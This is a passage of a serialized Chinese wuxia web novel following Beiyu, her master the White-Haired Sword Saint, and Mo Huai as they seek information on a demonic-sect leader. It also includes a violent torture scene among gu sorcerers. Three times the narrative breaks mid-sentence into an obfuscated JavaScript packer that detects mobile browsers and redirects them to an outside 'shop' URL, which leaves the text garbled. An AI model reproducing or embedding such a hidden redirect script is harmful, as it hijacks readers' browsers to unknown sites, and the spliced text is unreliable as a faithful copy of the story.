莫淮眉梢微挑,“北羽,你好开心的样子。” “我师父白发剑圣来了,我再也不用怕这怕那了,我的心情自然好极了。快给我讲你在东海的历险!” 北羽像打了鸡血般亢奋,美滋滋地快活。 “……说来话长,以后我慢慢给你讲,我买了很多礼物送你,你要不要跟我去客栈看看,挑一挑?” “挑什么?本姑娘照单全收。我也买了礼物给你!”北羽从红布兜里挑出一只兔子木雕。 莫淮把它捧在手心,心里暖呼呼的,他把兔子木雕挂在腰上,“我特别喜欢。” “嘿嘿,喜欢就好。” 北羽挽起他的胳膊,“走,带我客栈看看你给我买了什么。” …… 到了客栈,进了房间,北羽被满屋礼物惊呆。 从桌子摆到架子再摆到床上,各色精致的风俗摆件,七彩斑斓的琉璃坠子,名贵的花纹锦缎、漂亮的银盏酒杯、雕工细腻的香料匣子等等。 东西多到活像打劫了一个商队。 “莫淮,你哪来这么多钱买这些礼物?” “我赚的。我跟着一个商队从天枢城去的东海,沿途保护他们,他们出手很阔绰。” 莫淮一路走一路买,凡是见到北羽可能感兴趣的东西,就都买下来。 一想到北羽会从其中挑出喜欢的物件,他就高兴,然后,就买的更多了。 有句话说得好,千里送鹅毛,礼轻情意重,何况,不远万里搬来一堆好玩贵重有趣的东西。 这份心意北羽十分受用,她在屋子里逛起来,边逛边与莫淮嬉闹。 “快告诉我,你在东海发生的事!” “暂时保密。” “为什么?” “我不说,你就会一直好奇,一直来看我,我说了,你听完拍拍衣服就走了。” “哪有!我才不会这么坏!” 莫淮嘴角噙笑,出去见识两个月,他懂了不少人事,北羽是那种必须用某种兴趣勾着的女孩子,先前在天枢城慕容楚轩就用的这招。 众多礼物中,北羽拿起一把木梳子,上面雕刻了一只振翅欲飞的鸟儿,让她想到她的名字。 羽,是自由的意思,天高海阔,翱翔九州。 以前在圣剑山,师父常说,有一天她会像鸟儿一样,冲出镜悬大陆,去往浩瀚无垠的天地。 可是,外面的世界一定比这里好吗? 北羽看向莫淮。 “你为什么去东海取吟风剑?” 她问了一个显而易见的问题,习剑者,当然想要最好的剑。 “我想变强。”莫淮道。 北羽:“我也想变强,变得再强一点,比我师父还强。” 转眼间,三个时辰过去了。 看见天要黑了,北羽一个激灵从床上蹦起来,完了,师父还在等着她呢! 坐在桌边的莫淮道:“要去吃饭吗?” “不了!我得赶紧回去!” 北羽提上鞋,“明天中午我来找你,你千万别去找我!我师父受过情伤,很忌讳男人接近我。” 尤其是来历不明的男子。 莫淮推开窗户,看着北羽急冲冲跑向四方馆,自从相识以来,他总是在目送北羽离开,总是有很多人和事在等着北羽。 多希望有一天,他可以陪着北羽一起走。 莫淮握紧了吟风剑。 ………… 青白的天色蒙上一层淡淡的紫黑夜色,北羽回到四方馆清心苑。 院内安静,北羽衣领处的兔毛随寒风抖动,她推开门,乌去云正坐在摇篮前哄着孩子。 他表情温柔,白发如银色瀑布一样垂下,寒冬腊月里穿着一袭单薄的白袍,愈发显得单薄清瘦。 乌去云抬头望向她,“小羽,你终于回来了。剑练的如何?太上忘情剑法第二式白马吟施展起来,比之第一式银龙啸有何区别?” 北羽嘟起嘴,“久别重逢。师父不问我近月来受的委屈,不恭贺我夺了试剑大会的魁首,更不关心我在南境驿馆里住得还好吗,只问我剑练的怎样,有失慈爱啊。” 乌去云淡淡一笑,伸手替摇篮中的婴儿拢了拢衣裳。 “小羽,天机老人死得连渣都不剩,你自己报了仇。试剑大会的第一我曾做过,不过是少年人里拔个头筹,远比不上无极大会力压当世高手们畅快。” “至于你在驿馆住的如何,绝对差不了,因为你是天心帝亲手写信请来的贵宾。 辰阕夜是一个擅长审时度势的人,即便我们师徒跟辰家都有过节,但只要我们还足够强大,她就不敢轻举妄动。” 北羽张大嘴巴,“师父,你还是我师父吗,竟然一口气说了这么多话,吓死人了。” “我……” 乌去云一怔,北羽小时候,他也没有故意不理她啊。 “哈哈!” 北羽笑了,“我随口一说罢了。师父,您终于出关了。” 她把软椅搬到乌去云身边坐下,乌去云摸了摸她的脑袋,“上次见你,还是前年过中秋,一晃眼又是两年。” 北羽捧着脸,“师父觉得我是胖了?还是瘦了?” “胖了,更可爱了。”乌去云轻轻掐了下她的脸颊。 北羽看向摇篮,瘦小的婴儿蜷缩在襁褓中,黑溜溜的眼睛转来转去,一副机灵模样。 她道:“这个小娃娃是我救的,是个可怜的孤儿,但我已经替他找了户好人家,怎么忽然被送回来了?” 乌去云道:“你的朋友南戏霖说,这个孩子去了养父母家就一直生病,请了医师救治也不见好,那户人家没办法,今天就把孩子送回来了。” “他生了什么怪病!我看看。”北羽忙去抱孩子,乌去云拦住她,“不是病。是有一股细微的真气流窜在他体内,我已经逼出去了。” “这孩子能撑到现在,也是个奇迹。我给他取了个名字,叫萧环,过阵子我带他回圣剑山。” 北羽震惊道:“您说收养就收养?!” 乌去云颔首,十分正经道:“他喜欢我,一见我就笑,我已经替他摸过骨,勉强凑合。” “……行吧,您老人家开心就好。” “咱们来聊正经事吧。师父,你知道天心帝叫辰阕夜,也知道罗刹堂背后的主人是辰氏,但为什么从不告诉我。” 北羽苦恼皱眉,“十岁那年,我被魔教和罗刹堂绑走,也有辰氏的手笔,对不对?” 乌去云沉默,垂眸不语,良久才道:“过去的事,就让它过去吧。辰阕夜虽然贵为天子,但辰氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506998|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并非她一人说了算。” “真的?”北羽狐疑道,“看她那副顺我者昌逆我者亡的模样,居然不是辰氏之主。” 乌去云认真解释,“镜悬大陆几个皇族,慕容氏常出情种,欧阳氏擅长示弱,辰氏则诞生野心家。辰阕夜是一个不折不扣的狠人,她想要的是一片江山,而不是用蛊毒之流、邪门之术去算计人。” 北羽眯眼,“师父,你似乎很了解辰氏。” 乌去云低下头,“……从前一个朋友告诉我的。” “那师父认识辰骸婴吗?” 乌去云一下子严肃起来,“不要随便提这个人的名字。” “此人性情阴晴不定,阴险毒辣,身在黑水狱中,却拥有操控天下的势力,无比危险。” 北羽:“这也是师父从前的朋友讲的?” 乌去云听懂了她的弦外之音,吃惊地看着她。 北羽沉了沉心,开门见山道:“师父,深入骨髓流血不止的伤口,在愈合过程中固然痛痒难耐,可是放任伤口不管,任由它腐坏下去,岂非更糟糕。” 乌去云的脸色霎时难看,“别说了。” “不,我必须说,我是师父在世上唯一的亲人,只有我才能助您去疗伤。” 北羽道:“前几天我见了师娘的弟弟月冷花,他亲口承认,师娘跟斐翠然只是逢场作戏,您才是师娘真正爱过的男人。” “斐翠然利用师娘毁了您,又逼死师娘,间接害死师祖,逍遥法外,着实可恶。” “而今他正在乾元城中,我陪师父去杀了他!” 她的话重重落下,砸在乌去云心上。 他心情复杂,抬首闭眼,面容苍白道:“小羽,你师娘已经死了,她究竟更爱谁,已经不重要了。虽然她嫁人在前,与我相遇在后,但我能感受到她是爱我的,这就足够了。其余的人,我不想提,更不想见。” 北羽不可置信,“师父,我不懂您的意思。” “你师娘和你师祖的死,我已经放下了。” “什么?!” 北羽简直不敢相信她的耳朵。 “我说……我放下了,因为……我爱他们……” 乌去云的眼眸蒙上一层雾,北羽努力地想穿透这层雾,看清里面的一切,却无能为力。 她瞪大双眼,“师父!师娘可是你的至爱,师祖可是你的至亲!” “小羽,你还太小,你不懂,只有爱才会最终放下,只有恨才放不下。谢谢你替我去见了月冷花,到此为止吧。” 乌去云走了,他挥了挥衣袖,消失得无影无踪,徒留北羽在屋内凌乱。 如果师父早就放下当年的事,又为何多年来郁郁寡欢。 童年里,师父泪流满面的脸,是她难以言喻的阴影存在,她以为她被关在圣剑山上,也是因为那些泪…… 北羽倒在床上,抚摸残仙剑鞘上冰冷的蓝宝石,仔细琢磨乌去云的话。 十八年过去了,也许……不可能,挚友的背叛,至爱的离世,至亲的病亡,哪怕用十八年,也抚不平此等剧痛。 这怎么可能放得下! 换做是她,绝对无法原谅,绝对要报仇。 北羽咬住嘴唇,翻了个身。 师父该不会修忘情道,把恨这种情绪都修忘了吧。 ……她必须做点什么。 退一万步来讲,她跟斐翠然还有一笔旧账待算。 十岁那年被绑走的记忆是没了,但魔教和罗刹堂绝对不会对她多好,说不定还折磨过她,否则,怎会连忘忧草都给她用上了。 …… 时间一分一秒的流逝,夜色归入寂静,摇篮里的萧环沉稳睡着,北羽一个鲤鱼打挺坐起,披上外套,扣响了隔壁屋门。 南戏霖睡眼惺忪,“干嘛?” “去神机阁,我要买消息!” “买谁的?” “东海魔教教主,斐翠然。” 46. 卷二·南境演武 “你师父不让你管这事了。”南戏霖躺回床上。 “那又怎样?”北羽把他拽起来,“我和斐翠然有私仇,就当为了我自己。” “但是我答应白发剑圣,不帮你查他们了。”南戏霖为难道。 “他们?包括月冷花?” “对。在你回来之前,白发剑圣问我,你最近在做什么,我不敢撒谎。” 北羽道:“我不管。为了帮你,我敢跟天心帝撩狠话,难道你连陪我去神机阁的勇气都没有?白天还拉着我的手,感激涕零,到晚上就翻脸,小心我揍你!” 南戏霖扯过被子裹紧自己,“不是我胆小,咱俩去了神机阁也白瞎,那边不卖斐翠然的消息。” 六年前,斐翠然曾去北境找雪颂剑圣比试,返回东海途中遭遇埋伏。 后来,他查到是神机阁走漏风声,一怒之下,闯进神机阁总部,割去天机老人的白长胡子,以作示警。 从此,神机阁不对外出售斐翠然的行踪。 北羽思考片刻,道:“神机阁不卖,它的对家百晓堂肯定卖。” 南戏霖对她刮目相看,“北羽,你现在脑子都会急转弯了,佩服佩服。” “少贫嘴,那我们就去百晓堂。听说,百晓堂的总堂就设在乾元城,正好去涨涨见识。”北羽拍板定案,南戏霖表示抗议。 “斐翠然和月冷花不日将掀起腥风血雨,离他们越近,越容易被波及,剃头挑子一头热地冲进去很危险的。” 北羽一动不动地看着南戏霖,南戏霖也看着她,谁也没败下阵。 南戏霖试图打消她的念头,搬出一桩往事,“从前有个浑头小子,当着你的面,揣测当年魔教绑走你后发生了什么。” “结果,你连眼睛都不眨,直接告诉他,若当年你少了一根头发,白发剑圣便会向魔教讨一千根一万根。” “你根本没多在乎那次绑架,只是今天在白发剑圣那里吃了瘪,想找回来。要搁平时我二话不说撸袖子帮你一块找,但现在局势复杂,瞬息万变,又何苦为之。” 北羽沉默了一会儿,道:“过去我不在乎,不代表永远都不在乎。” 说完,她伸手捏向南戏霖后颈,捏晕了他。 北羽拿过桌上纸笔,写了几行字,回屋带上残仙剑,连夜离开四方馆。 夜色茫茫,月光亲吻北羽的面庞。 道不同不相为谋,既然师父和南戏霖做出与她不一样的选择,那她也不强求。 她留的话很简单,若想找到她,就去找斐翠然,她会搞清楚曾经在她身上发生过的事。 …… 风啸云卷,残灯朱幌,房内窗开的一瞬间,莫淮拔剑而起,剑刃轻抵来者颈侧。 “好快的速度。” 这一句话吓得莫淮浑身发麻,火速收剑,“北羽?你怎么来了?” “打扰你休息了。”北羽从阴暗处走出。 莫淮:“还好,我一向睡得浅,下次来找我别翻窗了,我怕误伤你。” 北羽俏皮眨眼,神神秘秘道:“愿意帮我个忙吗?跟我一起去百晓堂换些消息。” 莫淮不知她葫芦里卖的什么药,先穿好衣服,后道:“我身上并无值得一换的消息。” “怎会,只是你不知道而已,来,我教你一会到了百晓堂,该怎么吊他们。”北羽搂住他的肩膀,窃窃私语起来。 …… 百晓堂作为天下第二情报组织,昔年归属于星宫,隶属学宫,后借北境开国皇帝削弱学宫的东风,独立出来,时至今日,也算与神机阁花开并蒂。 作为设在南境的总堂,乾元城的百晓堂财大气粗地占据城南最大最贵的一片地皮,建造了华丽奢靡的连栋高阁。 北境天枢城的神机阁总部,曾被北羽一剑砍塌大半,今朝百晓堂也受到“礼貌”对待。 纯金打造,请名家赐墨的巨大牌匾,此刻正乖乖立在地上,北羽左手抵住牌匾,右手拿着残仙,脸上写满砸场子三个大字。 她身后的莫淮,黑衣黑剑,散发着非常不好惹的气息。 对此,百晓堂万分重视,安排了佩刀佩剑的弟子里三圈、外三圈围住这一对纯找事组合。 留着八字胡的精明男人,笑眯眯道:“二位少侠有何贵干?” 北羽:“认识本姑娘手里的剑吗?” 精明男:“当然。十大名剑之首的残仙,北羽少侠,有话好说,先把匾放下,那可是王大师的墨宝,举世无双。” 北羽拍了拍牌匾,“把你们当家的叫出来,我要跟她做生意。” 精明男:“北少侠,您看这样,鄙人姓曹,也算是堂内第三号人物,夜深人静的,当家的已经睡了,让我曹某来接待您怎样?” 北羽摇头,“我摘匾就是为了直接见百晓堂的百晓生。劳烦曹先生去请百晓生出来,不然,北境神机阁总部怎么塌的,南境百晓堂总部就会怎么塌。” “提醒一句,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506999|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师父白发剑圣可就在乾元城,谁也奈何不了我的。” 精明男心中大骂一声恶霸,然后,去请了当家的。 这绝对是史上百晓堂堂主现身最快的一次。 四个健壮嬷嬷抬着一顶秀气小轿子,轿中女子身量苗条,裙摆下面空荡荡,本来是脚的地方,垂下来两条银闪带,缀满珍珠。 小轿停下,一个嬷嬷把她抱到木轮椅上,那张轮椅镶嵌了各色宝石,女子置身其中,仿佛一只小鸟待在巢穴里。 这就是百晓堂这一代的堂主,第十七任百晓生,江湖人称她为醉珍珠。 因为早年,她还不是百晓生的时候,特别喜欢把跟她做交易的人灌醉,再听消息判断价格,而且,身价富可敌国的她,从不装假肢,独爱珍珠垂带。 “残仙北羽,久仰大名。”醉珍珠微微点头,以示礼貌。 北羽也朝她抱拳,“百晓生,你好。” 醉珍珠挥手,周围的人全部退下,只留下她的嬷嬷和曹男子。 “北少侠深夜到访,来势汹汹,想必是有很大一桩生意跟我做,请直言。” “我要斐翠然的卷宗。” 稍微有规格的情报组织,就会将搜集到的同一个人物的各路消息汇总,写在一个卷轴里,有时候详细到连本人都忘了的小事,都有记载。 “嚯。”醉珍珠眉毛上挑,“北少侠,你吓到我了。斐教主正在乾元城内,若我把他的卷宗交给你,恐怕自身难保。” 北羽:“神机阁上任主人天机老人是个孬种,我亲自分辨过,但我相信百晓堂的现任百晓生,绝不是个贪生怕死之辈。” 毕竟,醉珍珠是为了做一桩人人都不敢做的情报买卖生意,丢了一双腿的犟脾气女人。 她当年赔腿的那桩买卖,可比斐翠然的卷宗要稀罕多了。 北羽相信,醉珍珠乐意挑战旁人不敢为之事。 果不其然,醉珍珠斟酌后答应下来,“这个买卖可以做,但你要出够价。” 北羽笑道:“金子银子的价,我付不起,以物易物没问题。我师父此行出关,势必震惊天下,想打听他的人数不胜数,我就借花献佛,用师父的消息跟您换。” 醉珍珠在心里盘算一遭,开口道:“还差了些。” 她看向北羽身后的莫淮,“再加上吟风剑新主的消息,就行了,你们答应吗?” 莫淮点头。 北羽摩拳擦掌,“您问吧,我准备好了。” 47. 卷二·南境演武 夜深人静,整座乾元城平稳安睡,低低呜咽的风声,是它的呼吸。 北羽挑了一处高楼,坐在屋檐上看卷宗,莫淮陪在她身边。 “斐翠然,东海舂城人,父母不详,六岁入魔教,因经脉有缺,习武难成,倍受欺凌。” “十二岁被派去黑蛊林执行暗杀任务,巧得秘籍《神魔策》,修为一跃千里,十七岁入羽化境,跻身武圣,风头一时无两。 十八岁时,与白发剑圣乌去云,于东海青湖相遇,败于太上忘情剑法第三式—雪三千。” “落败之后,斐翠然追随乌去云而去,纠缠一年,二人竟成知己,于西海醉仙楼携手欢饮,震惊天下。” 姓斐的确有能耐,她师父当年可是逍遥游境,施展出的仙剑术有劈山倒海之势,而他竟然能抗过前两式。 这厮虽然人品稀烂,武学上确是个猛人。 对于她打不过斐翠然的事实,北羽又释然了些。只是,她师父统共下山三年,斐翠然居然独占了一年,真是个大祸害! 肯定是他装模作样骗了师父,否则,凭他的臭名声,师父怎会理他。 北羽啪地合上卷轴,将其扔给莫淮,“接下去你来念,这上面的字太小了,看得我头疼。” 莫淮展开念道:“同年七月,斐翠然与白发剑圣乌去云决裂,返回东海,十一月,斐翠然与北境罗刹堂女刺客月桃花结为夫妻。” “随后十二月,东海冰天雪地之中,乌去云误闯桃花源,遇月桃花,此虽为美人计,但两情相悦……” 北羽:“等等!这些就别念了,往下就是圣剑山成婚,师娘自刎了,都是些不开心的事。找斐翠然绑架我的记载以及他的弱点。” 莫淮向下读去,直看到文末,道:“北羽,里面没有关于他绑架你的记载。” “什么!” “这上面写着,因神机阁之约定,不另书辰氏之事,若有缺失,详见辰氏之册。” 天下的乌鸦一般黑,百晓堂还藏着这一手,难怪醉珍珠轻易松口。 北羽:“那斐翠然的弱点呢?” 莫淮仔细找了找,“斐翠然之功法神魔策,源于黑蛊林,此功有奇效,修炼者内力不绝,肉身不毁,斐翠然十七岁时练成后,凭此纵横东海,魔教之内未尝败绩。” “六年前,斐翠然与雪颂剑圣一战后,遭遇伏击,连战七天七夜,仍持雄风,直至心脏受创,方显颓势。由此可见,神魔策之疏漏,斐翠然之命门,独在心脏。” …… 这弱点,写了跟没写似的,哪个人的命门不是心脏! 北羽有种被耍了的感觉。 不过,斐翠然这门功法修炼后的成效,颇为熟悉,进步神速、肉身不毁、内力绵长…… “莫淮,斐翠然练的神魔策和你练的魔神策名字好像,你们的功法该不会同出一脉吧?” “……我不知道。” 有风吹过,莫淮微乱了呼吸,把卷轴还给北羽。 北羽也没有多想,将其捏了个粉碎,便道:“走,咱们找个地方睡觉。” “不回客栈?” “不能回,万一我师父找到那里呢,我们要去一个他绝对想不到的地方住几天。” “那过几天还去城外找斐翠然吗?”莫淮在东海听过不少这位魔教教主的故事,这是个危险的人物,他不愿看北羽冒险。 “找啊,为什么不找。我都打听清楚了,斐翠然来南境一趟,是特意要帮月冷花,月冷花的仇敌很多,即便他们联手,也不一定能赢。 我就在旁边躲着,躲到斐翠然受重伤,然后再过去审他。” 北羽暂时抛开了武德,到时候斐翠然胆敢耍花招,她就专往他心口打。 “能让我替你去吗?”莫淮道,“我帮你问清他绑架你的来龙去脉。” 北羽既好笑又纳闷:“这又不是什么好事,你怎么还抢着干。何况,我的事,干嘛让你做?” “……这样,你就不用冒险了。”莫淮有点不好意思,低头用手背蹭了蹭衣服。 这个回答听得北羽浑身轻飘飘,她拍拍莫淮的背,“人活着就得冒险,有些人走路上还能叫雷劈了呢。你要愿意,跟我一块去,我扛不住了,你再上。” “嗯。”莫淮用力点头。 聊完了正经话,北羽从高处跃下,裙摆飞扬,穿梭在乾元城内,莫淮稍微落后,半柱香后,黑暗中隐约浮现一座庞然大物的巍峨轮廓。 莫淮微惊:“皇宫?” 北羽笑道:“对,去皇宫住三四天。” 她倒没胆子再去天心女帝的寝殿,而是去了南境皇宫中的库房。 这处的守备相对松弛,北羽挨个查看,选了一间门锁落灰最厚的屋子,撬锁溜进去。 屋里堆积着许多大檀木箱子,装着积年赞的毛皮,都是些陈货,不等北羽动手,莫淮就从中拿出几张,铺在木箱上,并把周围的灰扫了。 黑沉沉的旧堂,没有点灯,到处是陈年旧气味,零星月光透过窗子,勉强维持阴暗的亮,北羽躺在厚重柔软的皮草上,给莫淮讲起前些日的宫变。 虽然她早在客栈给莫淮讲过一遍了,但如今身处皇宫,身临其境,忍不住再讲一回。 莫淮聚精会神,认真听着,就像第一次听那般。 讲到她为救南戏霖对峙天心女帝那段时,她蓦然问道:“如果皇帝要杀我,你会怎么做?” “我不会让皇帝杀你。”莫淮想也不想,脱口而出。 北羽被逗笑了,“你说不让杀,皇帝就不杀我了吗?” 莫淮直截了当,“我杀了皇帝,皇帝就不能下令了。” “皇帝可不能随便杀,你会为此偿命的。” “偿命就偿命,若你有个不测,我也不想活了。”莫淮一不留神,把心里话说了,他紧张地看着北羽,以为她会沉默或害羞。 然而,这两种情绪,北羽都没有。 “哼,我才不要别人为我陪葬。我死是我的事,哪天我真死了,我只许亲人朋友伤心流泪,不许谁为了我去死。” 接着,北羽添了句,“你也一样。” 莫淮沉默,思绪飘然,北羽却立马将他拉回,“有件事,我忘了问你。” “你那本功法魔神策,似乎没有包含剑术,我也没有教过你用剑,你也没有问过我,所以,你怎么使吟风剑的?” 莫淮磕磕巴巴,“就……就那样用了。” 换句话说,拿剑就劈,提剑就砍。 北羽抿唇合上眼,天呐,一个对剑术一知半解的人,竟然得到了天下剑客向往的名剑,这要传出去,恐怕会有人想把莫淮砍成肉臊子。 吟风剑的不乖,大约是不忿。 “回头我会找本好剑谱,照着仔细练的。”他最初去取吟风剑,一半是为了它的名头,一半是为了缩小跟北羽的差距,真心实意学剑练剑的念头,少得可怜。 眼一闭上,北羽就有些困了,翻身背对莫淮,嘟囔道:“我还是觉得师父以前傻乎乎的,他当年明明是镜悬大陆最传奇的人,也最强大,多少豪杰天骄想跟他交朋友,但他偏偏选了个斐翠然玩。” 莫淮看着她黑缎子一样顺滑的长发,特别想摸一下,“可你也跟我交朋友了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531337|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “斐翠然岂能与你比,你心地善良,救过我的命,他视人命如草芥,把我师父害惨了。” “……可,我也不是什么正派人物。” 他从不敢告诉北羽,他是一个魔,即便北羽能猜到,他也不敢说,猜测和确凿是截然不同的。 “假如……只是假如,我也变成世人所厌恶恐惧的存在,你……还愿意跟我……做朋友吗……” 北羽快困死了,脑袋混沌,说话也断断续续,“少胡思乱想……我、我不在乎外界怎么看我朋友,只要你还是你,我们的关系就不会变……” 唉。 一道长久的叹息,轻轻落下。 莫淮未眠。 …………… 睡个好觉,大约是件不容易的事。 一道道的通传,吵醒了躺在百晓堂固若金汤的铁裂阁中的醉珍珠。 听完后,她无奈睁开眼,对床前的嬷嬷说:“直接请他进来,我懒得再出去一趟。” 嬷嬷应声退下。 醉珍珠双臂撑床,坐了起来,望着千山暮雪的苏绣屏风,眨眼间,屏风后多了个白色人影。 “我徒弟丢了。”乌去云道。 醉珍珠打哈欠:“半个时辰前,她在我这里买了斐翠然的消息,后来她去了哪里,我就不知道了。” “北羽没有那么多钱买他消息的。”乌去云蹙眉。 醉珍珠忍住笑,“她有足够的筹码。” 乌去云是个聪明人,很快想通其中关窍,“她拿我的消息换的?” “是。” “……你可以直接问我的,我欠你人情,醉珍珠。” “白发剑圣的人情太可贵,我不想浪费在小事上。” 醉珍珠摸向残肢,她打听的消息,全部直戳乌去云肺管子,哪天想找死,倒是可以当面问问。 乌去云静默一瞬,“我大概不会再闭关了。如果百晓堂有需要,传信圣剑山即可。” 哦,不闭关了,这可是一个大消息,先把它卖给哪方势力好呢,醉珍珠睡意全无,心思活络起来。 乌去云:“百晓堂可否找到北羽下落?” 醉珍珠正掰手指纠结卖情报,敷衍道:“难找,北羽学的是天下第一轻功雀霞,又是大半夜藏起来的,估计没什么人看见。” “……好吧,再见。” 阁中没了乌去云的身影。 矮个嬷嬷端着安神汤走进来,“小姐,喝了再睡吧,您今夜净折腾了。” 醉珍珠拿起汤勺,碰响碗沿,“李嬷嬷,你说,乌去云和斐翠然会不会碰面。” “这要看天意。” “小姐,别掺和他们的事了,上一回白发剑圣来跟百晓堂做生意,可是把您的腿做没了。”李嬷嬷心疼道。 “但我的名声也打出去了,一双腿换百晓堂之主,值了。” 醉珍珠仰头喝掉安神汤。 岁月匆匆啊,转眼间十一年过去了,当年那个被绑到黑蛊林的小丫头,都成了亭亭玉立的少女,她也稳掌百晓堂多年。 要说不为失去的腿可惜,那是假话,不过,就算再来一次,她依旧会选择把那个被绑走的六岁小姑娘的下落,告诉小姑娘的师父。 一来当百晓堂堂主是她的理想,二来,做百晓堂的主人是她的梦想。 其实,她应该庆幸,辰氏只拿走她的双腿,没有拿走她的头颅。 毕竟,当年的辰氏族长辰骸罂是个丁点心都没有,彻头彻尾的狠毒男人。 想起辰骸罂那张脸,醉珍珠突然打了个寒颤,早已愈合的伤口,也隐隐泛出一丝疼痛。 48. 卷二·南境演武 天光破晓,积雪未化,剔透晶莹的雪片,随风跳下树梢,披着墨狐袄的男人,踉跄行走在雪地里,每往前一步,脚后跟的伤口就流出赤红的血。 太痛了。 无论是即将断掉的脚筋,还是千疮百孔的躯体,都痛得要命,但他不能停,索命阎罗正跟在后面。 …… 一分一秒宛如一年一季,当血快要流尽时,鬼棽撑不住了。 皮靴踩实了染血的雪,拄着拐杖的雪千紫,一瘸一拐,嘴角含笑,“师父,累了就歇歇。” “呸!叛徒,弑师的混蛋,将来不得好死!”他吐出一串古怪的咒语,那是一个蛊师临死前最恶毒的诅咒。 雪千紫摊开手掌,朝掌心小红虫吹了口气,鬼棽心脏猛地抽痛,两眼翻白,跪倒在地。 雪千紫拨开他的头发,盯视鬼棽苍老的脸,“弑师是黑白蛊林的老传统了,师父何必如此诅咒我,您只是不甘心死在我手上,若今日换成大师兄动手,您就心甘情愿了。” “不许你提起恪儿!你父亲指使罗刹堂杀死了我唯一的儿子!你和你的哥哥都该下地狱!” “嘘。” 雪千紫抽出腰间匕首,边念咒边割破鬼棽的上、下两瓣嘴唇,两条细长如发丝的蛊虫,钻了进去,鬼棽舌头上开出朵毒花。 这一味蛊,叫诚言。 “告诉我,生死符的解药在哪?” 鬼棽啐了一口,“没有了!一份也没了!休想用它在斐翠然面前邀功。” “制作解药的方法是什么?” 鬼棽哈哈大笑:“去问黑水狱里的辰骸罂吧!等他扭掉你的头,也许会大发慈悲告诉你!” 雪千紫皱眉,不满他嚣张的态度,开始剁他手指。 每剁一根,雪千紫就掀起鬼棽衣服,凿个肉孔,慢慢捅进去,饶是大罗神仙也遭不住这样的酷刑,何况,手指和舌头是蛊师最在乎的地方,鬼棽堂堂黑蛊林之王,怎经受得了这般羞辱。 “够了!够了!” “生死符确实还有两种解法,一种是下睡死蛊,使生蛊沉睡,一种是用逆命蛊,把生死符过渡到大蛊师身上。” 鬼棽狠狠瞪着雪千紫,满心苦涩,他终究还是向小死瘸子低头了。 但是,低头有什么用。 成者为王败者寇,寇的下场,是灰飞烟灭。 过去的一个时辰,雪千紫享受够了折磨仇人的快乐,现今已有些乏味。 他微笑着剁掉鬼棽最后一根手指,割掉舌头,挖出五脏六腑与脑髓用袋子装好,再将灭魂锥刺入天灵穴,弃尸而去。 蛊师眼中,人最值钱的就是内脏,骨肉皮囊皆为土灰。 前任黑蛊王的脏器,想必能炼出不错的蛊毒,雪千紫悠闲地吹起口哨,白雪落在他的眉梢睫尾,融化成滴水,精致妖异。 突然,他顿住步伐,手中拐杖轻轻一敲,八条毒蛇闪电般蹿向周围。 “呵。”有人轻笑,“看来,新一任的黑蛊王比前任黑蛊王更厉害。” 雪千紫望向左侧,一条赤红小蛇贴着他的脖颈盘旋而出,吐着蛇芯,随时准备进攻。 修长人影从灌草丛中走来。 雪千紫十分警惕,“阁下是?” “昭衣使。”黑袍人操着略微尖细的嗓音道。 雪千紫面色一凝,辰氏的手下怎么找到他头上来了,莫非……辰氏计划清算斐翠然,要拿他这个手下开刀? 黑袍人看穿他的想法,“雪蛊主,我并无恶意,只是想为你指条明路罢了。” “东海本为尊上一族统治,蛊林从前更是他麾下得力干将。如今,尊上即将回归,雪蛊主早些弃暗投明,以尊上爱惜人才的性子,还能留你一命。” 辰氏势力庞大,但干瘪瘪的几句话,不足以打动雪千紫,“斐教主手刃叛徒的速度,怕比昭衣尊主回归的速度更快,在下唯有一颗脑袋,赌不起。” 黑袍人摘下斗篷帽,“你以为,我的剑就慢吗?” 看清他面容的瞬间,雪千紫瞳孔震颤。 黑袍人道:“有位占星师告诉我,斐翠然气数将尽,依附于他的蝇营狗苟之辈也将灭亡。” “雪千紫,你是东海黑白蛊林最具天赋的蛊师,不该随斐翠然一起覆灭,你的人生,应该更辉煌。” 辉煌? 这样的字眼,适合形容蛊林出身的他吗,雪千紫瞄了眼自己的瘸腿。 黑袍人祭了杀手锏,“你杀了鬼棽,拿到了黑蛊王的名头,但黑蛊林的传承,你没得到。” “斐翠然不过是一个运气好的泥腿子,侥幸爬到高位,哪里懂黑蛊林的底蕴,而尊上手中,掌握了黑白蛊林所有秘密。” “若你有生之年,想成为真正的蛊王,就该做出正确的选择。” 威逼利诱,亘古不变的手段,却总是管用。 雪千紫搓搓赤练蛇的小脑袋,笑道:“那么,恭敬不如从命。” ………… 乾元城外,一团黑瘴气消散了,乾元城内,一团谪仙气在飘荡。 